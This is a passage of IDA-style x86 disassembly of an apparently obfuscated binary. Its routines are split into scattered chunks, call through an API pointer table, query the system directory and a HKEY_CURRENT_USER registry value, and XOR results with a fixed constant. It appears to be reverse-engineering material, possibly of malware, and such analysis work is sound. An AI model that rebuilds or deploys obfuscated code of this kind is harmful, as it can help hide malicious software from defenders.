loc_9AEA3A:				; CODE XREF: sub_9AD1A4+15j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_9B25E5
; END OF FUNCTION CHUNK	FOR sub_9AD1A4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9AEA48:				; CODE XREF: sub_9AB1A0+1DDFj
					; sub_9AB1A0+35C1j ...
		xor	esi, esi
		mov	[ebp-1Ch], esi


loc_9AEA4D:				; CODE XREF: sub_9AB1A0+A9FBj
		test	esi, esi
		jz	loc_9B58CD
		jmp	off_9B938C
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3EFC


loc_9AEA5C:				; CODE XREF: sub_9B3EFC-8BECj
		cmp	eax, 200C0h
		jz	loc_9AD6E0
		jmp	off_9B87BF
; END OF FUNCTION CHUNK	FOR sub_9B3EFC
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AEA70:				; CODE XREF: sub_9B1D80+163j
		xor	edx, edx


loc_9AEA72:				; CODE XREF: sub_9B1D80+1BB4j
		push	eax
		push	ecx
		push	ebx
		movzx	eax, word ptr [esi+2]
		push	eax
		push	dword ptr [esi+4]
		pop	ecx
		push	ecx
		push	edx
		mov	edx, [edi+4]
		push	edx
		mov	ebx, [ebp-2028h]
		xor	eax, eax
		and	ebx, ebx
		setnz	al
		push	eax
		call	sub_9B4FD0
		mov	[ebp-205Ch], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_9B3EC4
		jmp	off_9BA82C
; END OF FUNCTION CHUNK	FOR sub_9B1D80

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AEAAC	proc near		; CODE XREF: sub_9B6264-5ADp

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 009ADA70 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009AE890 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AED58 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 009B0498 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B42FE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 009B5EF7 SIZE 0000002C BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B96DC
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		push	off_9BAD92
		call	dword ptr [ecx+18h]
		xor	ecx, ecx
		mov	[ebp+var_4], ecx
		sub	eax, eax


loc_9AEAEE:				; CODE XREF: sub_9AEAAC-1031j
		mov	[ebp+var_1C], eax
		cmp	eax, 20h
		jge	loc_9AE890
		jmp	loc_9ADA70
sub_9AEAAC	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AFC28


loc_9AEB00:				; CODE XREF: sub_9AFC28+11C5j
		push	dword_9BCB74
		pop	edx
		mov	ecx, [edx]
		push	eax
		call	dword ptr [ecx+24h]
		jmp	loc_9ADF17
; END OF FUNCTION CHUNK	FOR sub_9AFC28
; ---------------------------------------------------------------------------
		align 4
		xor	eax, eax
		mov	dword_9BEBF8, eax
		mov	dword_9BEBF4, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B5FC0


loc_9AEB27:				; CODE XREF: sub_9B5FC0+49j
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		push	[ebp+var_1C]
		pop	ecx
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B5FC0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADCEC


loc_9AEB4C:				; CODE XREF: sub_9ADCEC-27F8j
					; DATA XREF: .text:off_9B8A0Eo
		or	eax, 0FFFFFFFFh
		jmp	loc_9ACE37
; END OF FUNCTION CHUNK	FOR sub_9ADCEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9AEB54:				; CODE XREF: sub_9AB1A0+2FA8j
					; DATA XREF: .text:off_9BA410o
		push	dword_9BEC20[esi]
		pop	eax
		test	eax, eax
		jz	loc_9ABD29
		jmp	off_9BA688
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF654


loc_9AEB6C:				; CODE XREF: sub_9AF654+301Aj
		mov	dword ptr [ebp-1Ch], 1
		jmp	loc_9B06EB
; END OF FUNCTION CHUNK	FOR sub_9AF654
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3150


loc_9AEB78:				; CODE XREF: sub_9B3150-78FDj
		push	dword ptr [ebx+48h]
		pop	edi
		cmp	edi, eax
		jz	loc_9AEFA3
		jmp	loc_9AC39C
; END OF FUNCTION CHUNK	FOR sub_9B3150
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AEB8C:				; CODE XREF: sub_9B3864-7252j
					; sub_9B3864-559Bj ...
		mov	[ebp+var_2054],	0


loc_9AEB96:				; CODE XREF: sub_9B3864-40ECj
		push	0
		mov	edx, [ebp+var_205C]
		push	edx
		push	ecx
		push	eax
		mov	eax, [ebp+var_2058]
		push	eax
		push	ebx
		mov	ecx, [ebp+var_2054]
		push	ecx
		jmp	loc_9B3D79
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AEBB8	proc near		; CODE XREF: sub_9AD3EC+2Fp
					; sub_9AEE40+8p ...

; FUNCTION CHUNK AT 009ABDE3 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 009B1D30 SIZE 0000000B BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BAA20
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 11Ch
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		sub	ebx, ebx
		mov	[ebp-4], ebx
		push	104h		; uSize
		lea	eax, [ebp-120h]
		push	eax		; lpBuffer
		call	GetSystemDirectoryA
		mov	[ebp-11Dh], bl
		cmp	byte ptr [ebp-11Fh], 3Ah
		jnz	loc_9B1D30
		jmp	off_9B9052
sub_9AEBB8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9AEC20	proc near		; CODE XREF: sub_9B1584:loc_9AEE10p

; FUNCTION CHUNK AT 009AB70C SIZE 00000026 BYTES
; FUNCTION CHUNK AT 009AC8A8 SIZE 00000042 BYTES
; FUNCTION CHUNK AT 009ACD44 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009AE5B7 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 009AF4FC SIZE 00000020 BYTES
; FUNCTION CHUNK AT 009B2FEC SIZE 00000083 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B92F8
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 218h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9BADC8
		call	dword ptr [ecx+18h]
		sub	edi, edi
		mov	[ebp-4], edi
		lea	edx, [ebp-120h]
		push	edx
		push	3
		call	sub_9B6078
		lea	eax, [ebp-224h]
		push	eax
		push	8
		mov	ecx, dword_9BBD28
		push	ecx
		call	sub_9AE860
		add	esp, 14h
		push	eax
		lea	edx, [ebp-120h]
		push	80000001h
		pop	ecx
		call	sub_9B3408
		mov	esi, eax
		xor	edx, edx
		mov	[ebp-228h], esi
		push	dword_9BBE3C
		pop	ecx
		call	sub_9AEE5C
		push	eax
		jmp	off_9BAA9D
sub_9AEC20	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9AECC4:				; CODE XREF: sub_9B4FD0-7CA0j
					; DATA XREF: .text:off_9B9970o
		lea	edx, [eax+eax*2]
		shl	edx, 4
		cmp	dword_9BBF74[edx], esi
		jnz	loc_9B4D8C
		jmp	loc_9B5708
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B562C


loc_9AECDF:				; CODE XREF: sub_9B562C-817Bj
					; sub_9B562C-6E9Fj ...
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ax, word ptr [ebp+var_128]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B562C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AED08:				; CODE XREF: sub_9B63D8-A5C2j
					; sub_9B63D8-9E08j ...
		cmp	ebx, 200000h
		jle	loc_9AF37F
		jmp	loc_9AB5D0
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AED1C:				; CODE XREF: sub_9B63D8-7C12j
		mov	ecx, [ebp-2144h]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp-2140h]
		mov	dword ptr [edx], 0
		jmp	loc_9AF90B
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9AED3C:				; CODE XREF: sub_9ADDA4+5327j
		mov	dword ptr [ebp-20h], 7


loc_9AED43:				; CODE XREF: sub_9ADDA4-13D6j
					; sub_9ADDA4+149Aj ...
		sub	esi, esi
		mov	eax, [ebp-20h]
		cmp	eax, edi
		jge	loc_9AE030
		jmp	loc_9B1390
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AEAAC


loc_9AED58:				; CODE XREF: sub_9AEAAC-210j
		mov	eax, [ebp+arg_4]
		imul	ecx, 4Ch
		add	eax, ecx
		mov	ecx, [eax]
		mov	[ebp+var_28], ecx
		mov	ebx, [eax+8]
		test	cl, 1
		mov	[ebp+var_2C], ebx
		mov	edi, [eax+38h]
		mov	[ebp+var_30], edi
		jz	loc_9B42FE
		jmp	off_9B8FE5
; END OF FUNCTION CHUNK	FOR sub_9AEAAC
; ---------------------------------------------------------------------------


loc_9AED80:				; CODE XREF: .text:009AE323j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9AED84:				; CODE XREF: sub_9B4FD0-50E8j
		mov	edx, [ebp+10h]
		cmp	dword_9BBF80[eax], edx
		jnz	loc_9AB8C4
		jmp	off_9BA10F
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3A74


loc_9AED9C:				; CODE XREF: sub_9B3A74-8BBAj
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+0Ch]
		mov	eax, [esi]
		push	eax
		mov	ecx, [esi+44h]
		push	ecx
		push	3
		push	0
		push	dword ptr [ebp-12Ch]
		pop	eax
		push	eax
		push	dword ptr [ebp-124h]
		pop	ecx
		push	ecx
		call	dword ptr [edx+18h]
		or	eax, eax
		jnz	loc_9B624E
		jmp	loc_9B6244
; END OF FUNCTION CHUNK	FOR sub_9B3A74

; =============== S U B	R O U T	I N E =======================================



sub_9AEDD0	proc near		; CODE XREF: sub_9B43F4+3Dp

; FUNCTION CHUNK AT 009AB9E8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009AD3A8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009B1F1C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B2998 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009B3228 SIZE 00000013 BYTES

		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		push	esi
		push	off_9BAD92
		xor	esi, esi
		call	dword ptr [ecx+18h]
		xor	eax, eax


loc_9AEDE8:				; CODE XREF: sub_9AEDD0+4460j
		mov	ecx, dword_9BEC1C[eax]
		or	ecx, ecx
		jz	loc_9B3228
		jmp	loc_9AB9E8
sub_9AEDD0	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABA3C


loc_9AEDFC:				; CODE XREF: sub_9ABA3C+4CA5j
					; DATA XREF: .text:off_9B93AFo
		push	esi
		pop	eax
		lea	edx, [eax+1]


loc_9AEE01:				; CODE XREF: sub_9ABA3C+33CAj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_9AEE01
		jmp	off_9BABA8
; END OF FUNCTION CHUNK	FOR sub_9ABA3C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1584


loc_9AEE10:				; CODE XREF: sub_9B1584+8Bj
		call	sub_9AEC20
		call	sub_9B3B1C
		call	sub_9B03E8
		push	ebx
		push	ebx
		push	off_9B946E
		call	sub_9ABF08
		mov	dword_9BF11C, eax
		cmp	eax, ebx
		jz	loc_9AD087
		jmp	off_9B982B
; END OF FUNCTION CHUNK	FOR sub_9B1584
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9AEE40	proc near		; CODE XREF: sub_9A5033+85p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		pop	eax
		push	eax
		push	2
		call	sub_9AEBB8
		xor	eax, 0AB5D76CDh
		push	eax
		call	sub_9AE860
		add	esp, 0Ch
		retn
sub_9AEE40	endp


; =============== S U B	R O U T	I N E =======================================



sub_9AEE5C	proc near		; CODE XREF: sub_9AF25C-368Ep
					; sub_9AF25C-3681p ...

; FUNCTION CHUNK AT 009ADFF4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B07B8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B5A6C SIZE 00000006 BYTES

		xor	eax, eax
		and	ecx, ecx
		jz	nullsub_7
		jmp	off_9B9579
sub_9AEE5C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AEE6C:				; CODE XREF: sub_9B0930-2399j
					; DATA XREF: .text:off_9BA8EFo
		push	9Ch
		push	40h
		call	edi
		mov	ecx, dword_9BCB74
		mov	[ecx], eax
		push	8
		push	40h
		call	edi
		push	dword_9BCB74
		pop	edx
		mov	[edx+4], eax
		push	0Ch
		push	40h
		call	edi
		push	dword_9BCB74
		pop	ecx
		mov	[ecx+8], eax
		push	28h
		push	40h
		call	edi
		mov	edx, dword_9BCB74
		mov	[edx+0Ch], eax
		push	64h
		push	40h
		call	edi
		push	dword_9BCB74
		pop	ecx
		mov	[ecx+10h], eax
		jmp	loc_9B55F4
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B46CC


loc_9AEEC4:				; CODE XREF: sub_9B46CC+Fj
					; DATA XREF: .text:off_9BA703o
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		call	dword ptr [ecx+30h]
		sub	eax, dword_9BEC18
		cmp	eax, 0EA60h
		jbe	loc_9B2C2A
		jmp	off_9B8DBA
; END OF FUNCTION CHUNK	FOR sub_9B46CC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AEEE8:				; CODE XREF: sub_9B1A08-415Aj
		push	[ebp+var_41F4]
		pop	edx
		push	edx
		xor	edx, edx
		call	sub_9B5CDC
		test	eax, eax
		jz	loc_9AE1D8
		jmp	off_9B87A4
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9AEF08:				; CODE XREF: sub_9B4950-1EA5j
					; DATA XREF: .text:off_9B8F85o
		push	off_9B9F6A
		call	sub_9ABF08
		mov	dword_9BEC3C[edi], eax
		mov	ecx, [ebp-40h]
		push	ecx
		mov	edx, dword_9BEC2C[edi]
		push	edx
		push	off_9BB054
		call	sub_9ABF08
		xor	ebx, ebx
		mov	dword_9BEC40[edi], eax
		mov	esi, [ebp-1Ch]


loc_9AEF3A:				; CODE XREF: sub_9B4950-3CEj
		cmp	dword_9BEC24[edi], ebx
		jz	loc_9B5C2E
		jmp	off_9BA88D
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1B20


loc_9AEF4C:				; CODE XREF: sub_9B1B20-5932j
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx+0Ch]
		push	edi
		push	esi
		push	3
		push	0
		lea	ecx, [ebp+var_120]
		push	ecx
		mov	edx, [ebp+var_32C]
		push	edx
		call	dword ptr [eax+18h]
		and	eax, eax
		jnz	loc_9B192A
		jmp	loc_9B1920
; END OF FUNCTION CHUNK	FOR sub_9B1B20
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACF9C


loc_9AEF7C:				; CODE XREF: sub_9ACF9C+3Dj
		cmp	esi, 2000h
		ja	loc_9ADA23
		jmp	loc_9B5C80
; END OF FUNCTION CHUNK	FOR sub_9ACF9C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9AEF90:				; CODE XREF: sub_9AC32C+1B02j
					; DATA XREF: .text:off_9B9F0Fo
		or	edi, 14h


loc_9AEF93:				; CODE XREF: sub_9AC32C+1AFCj
					; sub_9AC32C+7DFDj
		and	ebx, ebx
		jz	loc_9AD0FB
		jmp	loc_9AC35C
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B3150


loc_9AEFA3:				; CODE XREF: sub_9B3150-8342j
					; sub_9B3150-7903j ...
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-1Ch]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B3150
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AEFC0:				; CODE XREF: sub_9B0930-56D2j
		push	off_9BA107
		mov	edx, [eax+10h]
		push	dword ptr [edx]
		pop	eax
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+10h]
		pop	edx
		mov	[edx+4], eax
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+10h]
		pop	eax
		push	dword ptr [eax+4]
		pop	ecx
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B9A0C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9AF003:				; CODE XREF: sub_9AC6DC+5A4j
					; sub_9AC6DC+89BEj
		mov	[ebp+var_4], 0FFFFFFFFh
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		push	off_9BAA6D
		call	dword ptr [edx+1Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AF030	proc near		; CODE XREF: sub_9B1D80-406p
					; sub_9B3864-4CBp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

; FUNCTION CHUNK AT 009AC620 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 009AE8BD SIZE 00000020 BYTES
; FUNCTION CHUNK AT 009B0BE8 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 009B136C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B1518 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009B19C4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B281C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B3600 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B37E8 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009B3F78 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 009B4160 SIZE 00000043 BYTES
; FUNCTION CHUNK AT 009B4AE4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009B5140 SIZE 00000046 BYTES
; FUNCTION CHUNK AT 009B5738 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BA113
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		sub	edi, edi
		mov	ebx, ecx
		mov	[ebp+var_18], esp
		mov	[ebp+var_20], edi
		mov	[ebp+var_1C], edi
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		push	off_9BA623
		call	dword ptr [ecx+18h]
		mov	[ebp+var_4], edi
		mov	esi, [ebp+arg_0]
		lea	esi, [esi+esi*2]
		shl	esi, 4
		push	dword_9BBF74[esi]
		pop	eax
		test	eax, eax
		jz	loc_9AC634
		jmp	off_9B91B2
sub_9AF030	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2E04


loc_9AF098:				; CODE XREF: sub_9B2E04+337Ej
					; DATA XREF: .text:off_9B99F6o
		cmp	edi, 0FFFFFFFFh
		jz	loc_9B572A
		jmp	sub_9B037C
; END OF FUNCTION CHUNK	FOR sub_9B2E04
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AF0A8:				; CODE XREF: sub_9B1A08+1262j
		cmp	eax, 0FFFFFFFFh
		jz	loc_9B17C7
		jmp	loc_9B17B0
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3408


loc_9AF0B8:				; CODE XREF: sub_9B3408-65E4j
					; DATA XREF: .text:off_9B94F0o
		call	sub_9B2160
		mov	esi, eax
		mov	[ebp-12Ch], esi
		cmp	esi, ebx
		jz	loc_9AB749
		jmp	off_9BAFE3
; END OF FUNCTION CHUNK	FOR sub_9B3408
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9AF0D4:				; CODE XREF: sub_9B03E8-3FA7j
		call	sub_9B45AC
		mov	dword_9BF388+2,	eax
		push	9
		push	9BF38Ah
		pop	edx
		mov	ecx, 4
		call	sub_9B1B20


loc_9AF0F0:				; CODE XREF: sub_9B03E8-3FADj
		mov	[ebp-4], esi
		jmp	loc_9AE4CE
; END OF FUNCTION CHUNK	FOR sub_9B03E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AF0F8:				; CODE XREF: sub_9B3864+1A4Dj
		mov	ecx, [ebp+var_204C]
		test	byte ptr [ecx+8], 8
		jz	loc_9AFC90
		jmp	off_9B9568
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AF110:				; CODE XREF: sub_9B1A08-22Bj
					; DATA XREF: .text:off_9B93A7o
		lea	esi, [edi+edi*4]
		lea	esi, [ebp+esi*8+var_41BC]
		push	dword ptr [esi]
		pop	eax
		and	eax, eax
		jz	loc_9AF99B
		jmp	off_9B9300
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACF9C


loc_9AF134:				; CODE XREF: sub_9ACF9C+2D40j
					; sub_9ACF9C+5DD0j
		lea	ecx, [ebp-1Ch]
		call	sub_9B5480
		jmp	loc_9ADA23
; END OF FUNCTION CHUNK	FOR sub_9ACF9C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B562C


loc_9AF144:				; CODE XREF: sub_9B562C-5B29j
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx+18h]
		lea	ecx, [ebp+var_12C]
		push	ecx
		lea	edx, [ebp+var_130]
		push	edx
		push	off_9B8E55
		push	esi
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jz	loc_9AE77C
		jmp	off_9B9EB0
; END OF FUNCTION CHUNK	FOR sub_9B562C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AC250


loc_9AF174:				; CODE XREF: sub_9AC250+1530j
		cmp	edx, ebx
		jz	loc_9B536C
		jmp	loc_9B5528
; END OF FUNCTION CHUNK	FOR sub_9AC250
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9AF184:				; CODE XREF: sub_9B4FD0+5Dj
		sub	ecx, ecx


loc_9AF186:				; CODE XREF: sub_9B4FD0-970Bj
		mov	[ebp-22Ch], ecx
		cmp	ecx, 40h
		jnb	loc_9ABB60
		jmp	off_9BA40C
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AFC28


loc_9AF19C:				; CODE XREF: sub_9AFC28+CCEj
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	eax
		lea	ecx, [ebp+var_20]
		push	ecx
		push	0
		push	ebx
		push	off_9B9F9D
		push	0
		push	0
		call	dword ptr [eax+14h]
		mov	[ebp+var_24], eax
		and	eax, eax
		jz	loc_9ADF17
		jmp	loc_9B0DE4
; END OF FUNCTION CHUNK	FOR sub_9AFC28
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AF1CC:				; CODE XREF: sub_9B1D80+BEj
					; DATA XREF: .text:off_9BA940o
		mov	edx, [ebp-202Ch]
		test	edx, edx
		js	loc_9B3ECB
		jmp	off_9B90D5
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9AF1E0:				; CODE XREF: sub_9ADDA4:loc_9B1C08j
					; DATA XREF: .text:009B2B1Co
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-27Ch]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ABF08


loc_9AF200:				; CODE XREF: sub_9ABF08+DC9j
					; sub_9ABF08+4CAAj
					; DATA XREF: ...
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	dword ptr [esi+8]
		pop	edx
		push	edx
		call	dword ptr [ecx+24h]


loc_9AF20F:				; CODE XREF: sub_9ABF08+6CEBj
					; sub_9ABF08+7689j
		mov	eax, esi
		call	sub_9AC448
		xor	esi, esi
		mov	[ebp-1Ch], esi


loc_9AF21B:				; CODE XREF: sub_9ABF08+41j
					; sub_9ABF08+DC3j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_9B131E
; END OF FUNCTION CHUNK	FOR sub_9ABF08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4610


loc_9AF228:				; CODE XREF: sub_9B4610-6114j
					; sub_9B4610-1030j ...
		push	edi
		pop	ecx
		call	sub_9B35A0


loc_9AF22F:				; CODE XREF: sub_9B4610-3B42j
					; sub_9B4610-1036j
		inc	edi
		jmp	loc_9B4654
; END OF FUNCTION CHUNK	FOR sub_9B4610
; ---------------------------------------------------------------------------
		align 4
